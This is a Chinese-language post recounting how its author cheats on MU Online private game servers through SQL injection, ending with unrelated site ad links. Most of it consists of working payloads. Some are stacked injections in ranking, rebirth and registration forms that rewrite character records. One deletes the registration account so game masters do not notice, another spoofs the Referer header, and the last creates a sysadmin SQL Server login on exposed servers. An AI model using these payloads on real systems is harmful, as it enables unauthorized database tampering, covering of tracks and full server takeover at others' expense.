奇迹私服SQL注入大揭密
MU的WEB系统一直与SQL的注入有着不之缘,我最初也只听说过SQL的注入,后来发现很多的SF都没有检查特殊字符,自己也没有太多的时间玩,才开始学习如何注入。时至今日,感觉还是学了不少东西,虽然改SF为大多数人不齿。
最早改排名的是我的老师,虽然这个方法我从来没有成功,但是告诉了我如何去改。这个方法大概是这样的
100top.as?class=1';update character set .... where name='名字';--
然后是改转生,在我第一次改转生的时候,应该说,转生的漏洞广为人知了,但很遗憾,很多SF没有注意,给了我一个锻炼的机会。转生的修改些许麻烦一点,首先要把原来的页面保存,修改form的action(+上的地址,或者使用base参数)和输入框的输入限制,然后在密码或者角色名字的地方输入
1' or 1=1;update character set ... where name = '名字';-- 其他的输入框按要求填,洗红名的地方也是一样的修改方法。
以上一般了解计算机的人都能学会,所以改的人很多,漏洞修补的也很快。
后来,有个修改了转生,却忘记了洗名字的地方,还禁止了远程提交,于是我有开始学习如何模拟远程提交(后来看了http协议,才知道referer这个参数在起作用),于是开始写一些提交程序,后来大概了解到,好象vbscript也有控件支持提交以及http头设置。
Post http /1.1
Accept: */*
Referer:
然后同上面的方法一样,把某一个参数输入1' or 1=1;update character set .... where name='名字';--
在后来,洗名字转生==地方都检查特殊字符。最传统的
select * from character where name='&ps_charname&'... 的注入失去了作用,遗憾的是fishserver至近还存在这样的漏洞(email地方,以及还没有公布的nickname地方,今天算了公布了,可能是hellfish个人很忙,更新不及时,所以fishserver漏洞很多,在后面的介绍中还会说一说它的另外一个漏洞) 这种修改方式算了走到了尽头。
但是,还有另外的一个修改地方,就是注册,我估计有其他的人在这个地方修改,但是没有一直没有结识过,很希望能得到高手的指点。到目前为止,要在注册的地方修改,需要对计算机很了解的人才能做到,首先是要会写程序,避开禁止远程提交,然后是理解SQL,构造合适的SQL注册语句。下面简要说明其中的SQL构造。
SQL SERVER中,可以同时执行多条语句,但是有个限制条件,前面一条语句出错的话,后面的语句无法执行。我们知道,在注册的时候需要填写的数据有
ps_loginname=noname912
ps_password=111111
ps_repassword=111111
ps_answer=123456
ps_person_id=111111111111111111
ps_sno_numb=111111111111111111
ps_question=654321
ps_nickname=111111
但是,一般的系统只检查了ps-loginname(避开select的传统攻击),却不知道,后面的还有一个SQL语句
insert into memb_info values(......,ps_email,ps_question,ps_answer....)
出于对SQL注入的理解,学过计算机的人应该明白,这个地方同样存在一样的问题,首先要对memb-info的表结构清楚,然后,构造一个完整的insert语句,将ps-email改写如下
); delete from memb_info where memb___id = 'NoName911' or memb___id = 'NoName912';update character set ... where name='名字';--
需要构造完整的insert语句,否则,后面的语句也不能执行,然后delete语句是为了避免每次修改都注册了一个帐号,容易让GM发现,所以一注册就删除,知道后面的update就是修改部分,对公开了1433端口的SF,就可以使用
use Master;exec sp_addlogin 'System', 'manager', 'MuOnline';exec sp_adduser 'System', 'System', 'db_owner';exec sp_addsrvrolemember sysadmin,'System';--< dedecms.com
商业完整版游戏发布站程序免费下载:www.98youx.com